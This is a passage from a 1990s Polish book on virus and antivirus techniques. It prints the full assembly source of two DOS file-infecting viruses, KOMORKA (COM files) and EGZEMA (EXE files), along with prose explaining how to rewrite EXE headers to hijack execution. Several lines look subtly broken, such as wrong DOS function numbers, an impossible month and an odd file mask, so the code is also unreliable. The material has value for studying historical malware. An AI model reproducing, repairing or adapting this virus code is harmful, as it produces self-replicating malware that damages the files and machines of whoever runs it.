CR = 0Dh ; / ASCII
DOLAR = '$' ; /
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID
; atrybut poszukiwanej pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends
Start: ; tu zaczyna sie program ofiary
db 0E9h,00h,00h ; symuluj rozkaz JMP NEAR
; bedacy czescia zarazonego
; programu
VirusStart: ; tu zaczyna sie kod wirusa
mov si,word ptr ds:[101h] ; pobierz relatywny ofset do miejsca
; w pamieci, gdzie znajduje sie wirus
; wartosc ta to czesc rozkazu JMP NEAR
; na poczatku, przy pierwszym wywolaniu
; =0000h
mov al,byte ptr ds:[si+StareBajty] ; \ Przywroc zapamietane 3 bajty
mov ds:[100h],al ; \ na poczatek programu CS:100h
mov ax,word ptr ds:[si+StareBajty+1] ; / Podczas pierwszego uruchomienia
mov ds:[101h],ax ; / jest to kod Int 20h
lea dx,[si][TeInformacja] ; podaj gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa
jnc Infekcja ; CF=1 oznacza nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
lea dx,[si][MaskaCOM] ; maska poszukiwanych plikow '*.COM'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycii
mov ah,4Bh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc NieMaPlikuCOM ; gdy CF=1, to blad
KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepnego
mov ax,word ptr [si][NoweDTA.DTASize+2]
; pobierz starsza czesc dlugosci
; pliku
or ax,ax ; czy plik krotszy niz 65536
jnz SzukajNastepnyPlik ; nie - szukaj nastepnego
mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku
cmp ax,64000 ; czy dlugosc <= 64000
ja SzukajNastepnyPlik ; nie - szukaj nastepnego
cmp ax,3 ; czy dlugosc >= 3
jb SzukajNastepnyPlik ; nie - szukaj nastepnego
sub ax,3 ; odejmij dlugosc skoku E9 ?? ??
mov word ptr [si][Skok+1],ax ; zapisz do bufora rozkaz skoku
mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1 to blad
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov cx,3 ; ilosc czytanych bajtow
lea dx,[si+StareBajty] ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [si+StareBajty] ; wez dwa pierwsze bajty pliku
cmp ax,'MZ' ; i sprawdz czy to nie EXE
je ZamknijPlik ; gdy 'MZ', to plik EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy 'ZM', to plik EXE, powrot
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,VirusDlug ; ilosc zapisanych bajtow
lea dx,[si+103h] ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,3 ; ilosc zapisanych bajtow
lea dx,[si][Skok] ; podaj skad zapisac rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date,czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS
PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut, CH=0
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h
SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; plik COM
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
NieMaPlikuCOM:
mov dx,80h ; przywroc pierwotne DTA=PSP:80h
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
BezInfekcji:
mov ax,100h ; \ skocz na poczatek programu
jmp ax ; / do ofiary
MaskaCOM db '*.COM' ; maska plikow COM (ASCIIZ)
StareBajty db 0CDh,20h,90h ; bufor zawiera zapamietane bajty
; z poczatku programu
; tu : kod rozkazu int 20h/NOP
Skok db 0E9h,?,? ; rozkaz skoku
; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje DOS
mov ah,01h ; funkcja DOS - czytaj znak
; ze standardowego wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile znak
mov ax,0E0Dh ; \ przejdz
int 10h ; \ do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii
pop ax ; przywroc znak
and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
ret ; powrot
TeInformacja db CR,LF,'KOMORKA v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR
VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
KOMORKA ENDS
END Start
4.1.2. Pliki wykonywalne EXE
Poprzednio omówione pliki COM przeważały w początkowym okresie istnienia systemu DOS, lecz szybko zostały wyparte przez pliki EXE, które oferowały możliwość pisania programów mieszczących się w kilku segmentach.
Zarażanie plików EXE jest sprawą o wiele trudniejszą od infekcji plików COM ze względu na ich bardziej skomplikowaną budowę, a także na konieczność wykrywania systemu, dla którego plik jest przeznaczony. Pliki EXE dzielą się bowiem na tzw. stare (ang. old executab-les) i nowe (ang. new executables). Pierwsze z nich przeznaczone są tylko i wyłącznie dla systemu DOS, natomiast drugie to programy działające w środowiskach wykorzystujących tryb chroniony. Jak pokazano dalej, na podstawie danych zawartych w pliku EXE można wykryć system, dla którego jest on przeznaczony i w rezultacie plik taki zainfekować.
4.1.2.1. Pliki EXE dla systemu DOS (stare EXE)
Jak już wspomniano, pliki COM mogły zawierać w swym wnętrzu tylko jeden segment, wspólny dla kodu, danych i stosu. W przeciwieństwie do nich pliki EXE mogą zawierać programy, których rozmiary ograniczone są tylko przez wielkość dostępnej aktualnie pamięci operacyjnej, znajdującej się poniżej pierwszych 640kB. Najczęściej w programach tych jest kilka segmentów kodu i danych, a także
osobny segment stosu. Ze względu na bardziej skomplikowaną strukturę, do załadowania programów EXE system DOS potrzebuje więcei informacji, niż w przypadku plików COM. Informacje zawarte są w istniejącym na początku każdego pliku EXE nagłówku, który składa sie z dwóch części: sformatowanej i niesformatowanej. Długość sformatowanej części nagłówka jest stała i wynosi 27 bajtów, natomiast długość części niesformatowanej oblicza się na podstawie danych zawartych w nagłówku sformatowanym. W skrajnym przypadku długość części niesrormatowanej może być równa O, co często ma miejsce, gdy programy są wewnętrznie skompresowane i zminimalizowane. Opis sformatowanej części nagłówka podano poniżej.
Sformatowany nagłówek pliku EXE
|
|
00-01 |
Znacznik pliku EXE. MZ lub ZM |
02-03 |
Liczba bajtów na ostatniej, 512 bajtowej, stronie programu, W praktyce oznacza, ile bajtów system DOS musi skopiować z ostatniego sektora zajmowanego przez program. |
04-05 |
Długość całego pliku EXE, podana w 512-bajtowych stronach z uwzględnieniem nagłówka i ostatniej strony opisanej w polach 02h-03h. W praktyce oznacza ilość sektorów zajmowanych przez program, |
06-07 |
Liczba elementów relokowalnych w programie, czyli liczba 4-bajtowych rekordów, znajdujących siew niesformatowanej części nagłówka, opisujących miejsca w kodzie programu (jako segment: przesunięcie; w każdym rekordzie przesunięcie znajduje się przed segmentem), gdzie należy dodać segment, pod który ładowany jest program |
08-09 |
Długość nagłówka w 16-bajtowych paragrafach |
0A-0B |
Minimalna wymagana pamięć poza załadowanym kodem programu, podana w 16-bajtowych paragrafach |
0C-0D |
Maksymalna wymagana pamięć poza załadowanym kodem programu, podana w 16-bajtowych paragrafach |
0E-0F |
Początkowa wartość rejestru segmentowego stosu (SS) względem początku programu. |
10-11 |
Początkowa wartość wskaźnika stosu (SP) |
12-13 |
Suma kontrolna (zanegowana suma wszystkich bajtów w pliku), nie używana przez DOS, stąd pole to może posłużyć jako wskaźnik zainfekowania pliku |
14-15 |
Początkowa wartość licznika rozkazów IP |
16-17 |
Początkowa wartość rejestru segmentu kodu CS względem początku programu. |
18-19 |
Adres pierwszej pozycji tablicy relokacji w stosunku do początku pliku. Jeżeli pole jest równe 40h lub więcej, jest to prawdopodobnie nowy plik EXE |
1A-1B |
Numer nakładki |
Informacje zawarte w nagłówku pliku EXE zawierają wymagania programu dotyczące pamięci operacyjnej oraz ustalają początkowe wartości rejestrów SS i SP, odpowiedzialnych za stos, a także rejestrów CS i IP, wskazujących na pierwszą instrukcję programu.
Dopiero po nagłówkach pojawia się właściwy kod programu, a za nim, na końcu niektórych plików EXE przeznaczonych dla systemu DOS, znajduje się często tzw. wewnętrzna nakładka (ang. internal overlay), zawierająca dodatkowe dane lub kod programu. Wykorzystując fakt, iż znakomita większość istniejących wirusów nie zaraża plików EXE z wewnętrznymi nakładkami, można dość prosto zabezpieczyć wszystkie pliki EXE na dysku przed ewentualną infekcją. Wystarczy na końcu każdego z tych plików dopisać jeden dowolny bajt, który przez większość wirusów będzie uznawany za wewnętrzną nakładkę.
Dopiero po odczytaniu i zinterpretowaniu danych z nagłówka system może przystąpić do ładowania właściwego programu, zawartego w pliku EXE, który umieszczany jest bezpośrednio za blokiem PSP. Z powyższego wynika, iż w przeciwieństwie do programu COM obraz programu EXE wygląda inaczej w pamięci niż na dysku.
Po wczytaniu programu do wartości początkowych rejestrów CS i SS (zawartych w nagłówku sformatowanym) dodawany jest adres segmentu, pod który został on załadowany. Adres tego segmentu służy także do zmodyfikowania pewnych instrukcji w programie, które są zależne od jego faktycznego umiejscowienia w pamięci operacyjnej (są to np. rozkazy wywołań dalekich procedur i skoków oraz operacje na segmentach występujących w programie). Adresy w pamięci, które trzeba w ten sposób zmodyfikować, zawarte są w tablicy relokacji.
Pierwszą czynnością wykonywaną przez wirusa powinno być odczytanie sformatowanego nagłówka pliku potencjalnej ofiary i porównanie dwóch pierwszych bajtów programu (znacznik z pola 00h-0lh) z sekwencją 'MZ' lub 'ZM'. Jeżeli porównanie wypadło pomyślnie, istnieje duża szansa, iż jest to plik typu EXE i można go spróbować zainfekować. Drugą czynnością wykonywaną przez wirusa powinno być sprawdzenie, czy plik EXE jest programem przeznaczonym dla systemu DOS. Na pozycji 18h-19h w nagłówku widnieje wtedy wartość mniejsza od 40h, w przeciwnym wypadku jest to prawdopodobnie nowy EXE. Kolejnym krokiem wykonywanym przez wirusa powinno być sprawdzenie, czy plik EXE nie zawiera wewnętrznej nakładki. Dokonuje się tego poprzez porównanie długości całego pliku EXE (widzianej przez DOS) z długością obliczaną na podstawie pól zawartych w nagłówku (pola 02h-03h i U4h-05h). Jeżeli wartości te różnią się od siebie, plik zawiera nakładkę. Taki plik także można zainfekować, jednak wiąże się to z koniecznością przesunięcia w nim całej nakładki o długość wirusa, tak aby ten mógł umieścić swój kod bezpośrednio za obrazem ładowanym przez DOS do pamięci. Podczas uruchamiania programu EXE nakładka nie jest ładowana do pamięci bezpośrednio z programem, tak więc gdyby wirus znajdował się w pliku bezpośrednio za nią, także nie zostałby załadowany i w efekcie program by się zawieszał. Zarażone programy z wewnętrzną nakładką często nie będą działały poprawnie, zwłaszcza jeśli korzystając z nakładki nie obliczają adresów w pliku na bieżąco (tzn. na podstawie pól nagłówka), lecz korzystają z wartości stałych. Powyższe problemy sprawiają, iż większość wirusów zaprzestaje infekcji po wykryciu, iż plik EXE zawiera nakładkę i dzięki temu można zastosować opisaną wcześniej sztuczkę z 1-bajtową pseudonakładką. Infekcja pliku EXE bez wewnętrznej nakładki polega na odpowiedniej modyfikacji sformatowanej części nagłówka, tak by początkowe wartości rejestrów CS:IP (zawartych w polach 16h-17h i 14h-15h w nagłówku) wskazywały na wirusa, który zwykle dopisywany jest na końcu pliku. Najczęściej zmieniane są także początkowe wartości SS i SP (pola 10-llh i 0Eh-0Fh w nagłówku), ażeby nie okazało się, iż po uruchomieniu stos ustawiony jest na kod wirusa. Warto także zmodyfikować parametry minimalnej i maksymalnej pamięci wymaganej przez program, tak aby uwzględniały długość kodu wirusa. Prawdziwe wartości zmienianych parametrów trzeba wcześniej zapamiętać, żeby wirus po uruchomieniu mógł przekazać sterowanie do oryginalnego programu.
Inny sposób na przejęcie kontroli nad zainfekowanym programem po jego uruchomieniu polega na odnalezieniu w pliku zawierającym jego kod (np. przy pomocy łatwo dostępnej tablicy relokacji) wywołań dalekich procedur (najczęściej będących funkcjami bibliotecznymi) o 5 bajtowym kodzie 9A OO OO SS SS, gdzie SSSS:OOOO oznacza adres, pod którym znajduje się wywoływana procedura (SS SS oznacza segment, a OO OO - przesunięcie). Inicjując program, DOS dodaje do ustalonej, zawartej w pliku wartości SS SS adres, pod który został załadowany program. Zmieniając w pliku wartość SS SS:OO OO tak, by wskazywał on na wirusa, można ominąć konieczność modyfikacji pól 16h-17h i 14h-15h w nagłówku i przy okazji utrudnić odnalezienie wirusa w pliku. Tego typu wirus uruchomi się dopiero po próbie wywołania dalekiej procedury, co może zdarzyć się w dowolnym momencie programu (a nie od razu na początku).
Typowy wygląd starego pliku EXE przed i po infekcji przedstawiony został w poniższych tabelach.
Struktura niezainfekowanego pliku EXE
Zawartość pliku |
Sformatowany nagłówek pliku EXE zaczynający się literami 'MZ' lub 'ZM' Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś dane, np. nazwisko autora, nazwę programu Właściwy kod programu Ewentualna nakładka |
Struktura zainfekowanego pliku EXE
Zawartość pliku |
Sformatowany nagłówek pliku EXE zaczynający się literami ‘MZ’ lub ‘ZM' z wprowadzonymi przez wirusa zmianami Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś dane, np. nazwisko autora, nazwę programu Właściwy kod programu Kod wirusa Ewentualna nakładka; występuje bardzo rzadko, gdyż większość wirusów nie zaraża plików z wewnętrznymi nakładkami |
Ponizej przedstawiono przyklad prostego nierezydetnego wirusa infekujacego pliki EXE.
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; EGZEMA v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prosty wirus nierezydentny plikow EXE ;
; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
; znajdujace sie w biezacym katalogu ;
; ;
; Kompilacja : ;
; TASM EGZEMA.ASM ;
; TLINK EGZEMA.OBJ ;
; ;
;----------------------------------------------------------------------------;
EGZEMA SEGMENT
JUMPS
ASSUME CS:EGZEMA, DS:EGZEMA
NUL = 00h ; \
LF = 0Ah ; \ stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrDirectory
; atrybut poszukiwanej pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends
VirusStart: ; tu zaczyna sie kod wirusa
Call Trik ; \
Trik: ; \
pop si ; / oblicz relatywny ofset
sub si,3 ; /
push cs ; \ DS=CS=kod wirusa
pop ds ; /
mov ax,es ; \ es=PSP+10h
add ax,10h ; /
add [si][StarySS],ax ; \
push [si][StarySS] ; - zachowaj wartosci stosu
push [si][StarySP] ; / dla nosiciela
add ax,[si][StaryCS] ; \
mov [si][SkokCS],ax ; \ utworz pelny rozkaz skoku
mov ax,[si][StaryIP] ; / do nosiciela
mov [si][SkokIP],ax ; /
lea dx,[si][TeInformacja] ; podaj gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa
jnc Infekcja ; CF=1 oznacza nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
lea dx,[si][MaskaEXE] ; maska poszukiwanych plikow '*.EXE'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycii
mov ah,4Eh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc BezInfekcji ; gdy CF=1, to blad
KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepny
cmp word ptr [si][NoweDTA.DTASize],26; czy dlugosc>=26 bajtow ?
jb SzukajNastepnyPlik ; nie = szukaj nastepny
mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov cx,26 ; ilosc czytanych bajtow
lea dx,[si][Naglowek] ; podaj dokad czytac 26 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [si][Naglowek] ; wez dwa pierwsze bajty pliku
cmp ax,'mz' ; i sprawdz, czy to EXE
je JestEXE ; gdy 'MZ', to plik EXE
cmp ax,'zm' ;
jne ZamknijPlik ; gdy 'ZM', to plik EXE
JestEXE:
cmp word ptr [si][Naglowek+18h],40h ; czy plik Nowy EXE ?
; (pominiete zostana takze
; niektore pliki EXE z ustawionym
; adresem tablicy relokacji > 40h)
jae ZamknijPlik ; TAK - szukaj nastepny
mov ax,word ptr [si][Naglowek+14h] ; \ zachowaj stare CS i IP
mov [si][StaryIP],ax ; \ z pliku
mov ax,word ptr [si][Naglowek+16h] ; /
mov [si][StaryCS],ax ; /
mov ax,word ptr [si][Naglowek+10h] ; \ zachowaj stare SS i SP
mov [si][StarySP],ax ; \ z pliku
mov ax,word ptr [si][Naglowek+0Eh] ; /
mov [si][StarySS],ax ; /
mov ax,word ptr [si][Naglowek+08h] ; \ wez dlugosc naglowka w
mov cx,16 ; - paragrafach i oblicz
mul cx ; / jego dlugosc w bajtach
mov bp,ax ; \ zachowaj dlugosc na pozniej
mov di,dx ; /
mov ax,word ptr [si][Naglowek+04h] ; wez ilosc stron
cmp word ptr [si][Naglowek+02h],0 ; czy ilosc bajtow na ostatniej stronie=0
jz NieZmniejszaj ; TAK - nie zmniejszaj ilosci stron
cmp ax,0 ; czy ilosc stron=0 ?
jz NieZmniejszaj ; TAK - nie zmniejszaj ilosci stron
dec ax ; NIE zmniejsz ilsoc stron o jedna
NieZmniejszaj:
mov word ptr [si][Naglowek+04h],ax ; zapisz na pozniej
mov cx,512 ; wez dlugosc obrazu programu w stronach
mul cx ; i oblicz jego dlugosc w bajtach
add ax,word ptr [si][Naglowek+02h] ; dodaj ilosc bajtow na ostatniej stronie
adc dx,0 ; dodaj ewentualne przeniesienie
cmp ax,word ptr [si][NoweDTA.DTASize]
; \ czy rozmiar obrazu z naglowka
jne ZamknijPlik ; \ jest rowny dlugosci pliku ?
cmp dx,word ptr [si][NoweDTA.DTASize+2]
; / TAK - infekuj
jne ZamknijPlik ; / NIE - prawdopodobnie nakladka
sub ax,bp ; \ odejmij od dlugosci pliku
sbb dx,di ; / dlugosc naglowka
; ax,dx=dlugosc kodu programu
mov cx,16 ; oblicz nowe CS i SP
div cx ; dla programu
mov word ptr [si][Naglowek+14h],dx ; zachowaj nowe IP
mov word ptr [si][Naglowek+16h],ax ; zachowaj nowe CS
add dx,100h+VirusDlug ; stos bedzie za wirusem
and dl,11111110b ; SP - najczesciej jest parzysty
mov word ptr [si][Naglowek+10h],dx ; zachowaj nowe SP
mov word ptr [si][Naglowek+0Eh],ax ; zachowaj nowe SS
mov ax,word ptr [si][Naglowek+02h] ; \
add ax,VirusDlug ; \
cwd ; \
mov cx,512 ; \
div cx ; \
add word ptr [si][Naglowek+04h],ax ; - zmien dlugosc obrazu
mov word ptr [si][Naglowek+02h],dx ; / w naglowku pliku EXE
or dx,dx ; /
jz NieDodawaj ; /
inc word ptr [si][Naglowek+04h] ; /
NieDodawaj: ; /
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,VirusDlug ; ilosc zapisywanych bajtow
mov dx,si ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,26 ; ilosc zapisywanych bajtow
lea dx,[si][Naglowek] ; podaj skad zapisac nowy naglowek
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS
PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut
mov ch,0 ; CX=CL
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h
SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; pliku EXE
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
BezInfekcji:
push es ; \ es=ds=PSP
pop ds ; /
mov dx,80h ; przywroc pierwotne DTA=PSP:80h
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
pop ax ; \ zdejmij ze stosu wartosci
pop dx ; / SS i SP nosiciela
mov ss,dx ; \ i umiesc te wartosci w
mov sp,ax ; / SS i SP
db 0EAh ; powroc do nosiciela
SkokIP dw ? ; \ czesc skoku JMP FAR
SkokCS dw ? ; /
MaskaEXE db '*.EGZE' ; maska plikow EXE (ASCIIZ)
Naglowek db 26 dup(?) ; bufor zawiera zapamietane bajty
; z poczatku programu
; tu : kod rozkazu int 20h/NOP
; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje DOS
mov ah,01h ; funkcja DOS - czytaj znak
; ze standardowego wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile znak
mov ax,0E0Dh ; \ przejdz
int 10h ; \ do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii
pop ax ; przywroc znak
and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja ?
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
ret ; powrot
TeInformacja db CR,LF,'EGZEMA v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR
StaryCS dw 0
StaryIP dw offset Nosiciel
StarySS dw 0
StarySP dw offset Nosiciel+100h
VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
Nosiciel:
mov ax,4C00h
int 21h
EGZEMA ENDS
END VirusStart
4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE)
Duża część istniejących obecnie plików EXE to tzw. nowe EXE. Mają one inną budowę niż pliki przeznaczone dla systemu DOS. Na ich początku znajduje się krótki programik działający w systemie DOS, tzw. STUB, mający za zadanie bądź wyświetlenie komunikatu, iż plik zawiera program nie działający w systemie DOS, bądź też próbę uruchomienia zawartego w pliku właściwego programu dla trybu chronionego pod kontrolą odpowiedniego dla niego środowiska, najczęściej używającego trybu chronionego, np. WINDOWS, DOS4GW. Nawiasem mówiąc, fakt istnienia programu STUB stwarza możliwość napisania programu działającego równocześnie pod dwoma systemami, np. pod DOS i WIN-DOWS. To, który z programów byłby wykonywany byłoby zależne od systemu, pod którym byśmy aktualnie pracowali. Program dla DOS-a pełniłby tu rolę programu STUB.
Po programie STUB znajduje się właściwy program przeznaczony dla trybu chronionego, posiadający, podobnie jak programy dla DOS, odpowiednio sformatowany nagłówek. Różne systemy mają różną strukturę tego nagłówka, tak więc infekcja takich programów jest o wiele trudniejsza niż w przypadku plików przeznaczonych dla DOS. Komplikacje przy pisaniu wirusów infekujących takie pliki wynikają także ze znacznych różnic, jakie występują pomiędzy trybem chronionym, dla którego są one przeznaczone, a trybem rzeczywistym, używanym przez DOS. Potencjalny twórca takiego wirusa musi uwzględniać przy jego programowaniu podstawowe cechy systemów wielozadaniowych: podział i ochronę zasobów, fakt stronicowania pamięci, połączonego z wymiataniem nie używanych obszarów pamięci na dysk (ang. swapping} oraz podział programu na oddzielne bloki danych, kodu i stosu, posiadających odpowiednie prawa dostępu, zawarte w deskryptorach. Można powiedzieć, iż bez dobrej znajomości trybu chronionego napisanie wirusa dla nowych EXE jest niemożliwe. Dowód na to stanowi stosunkowo mała liczba wirusów pisanych pod systemy Windows 3.l, Windows 95 czy OS/2 (inną ważną przyczyną tego stanu rzeczy jest utrudniony dostęp do dokładnych informacji o tych systemach).
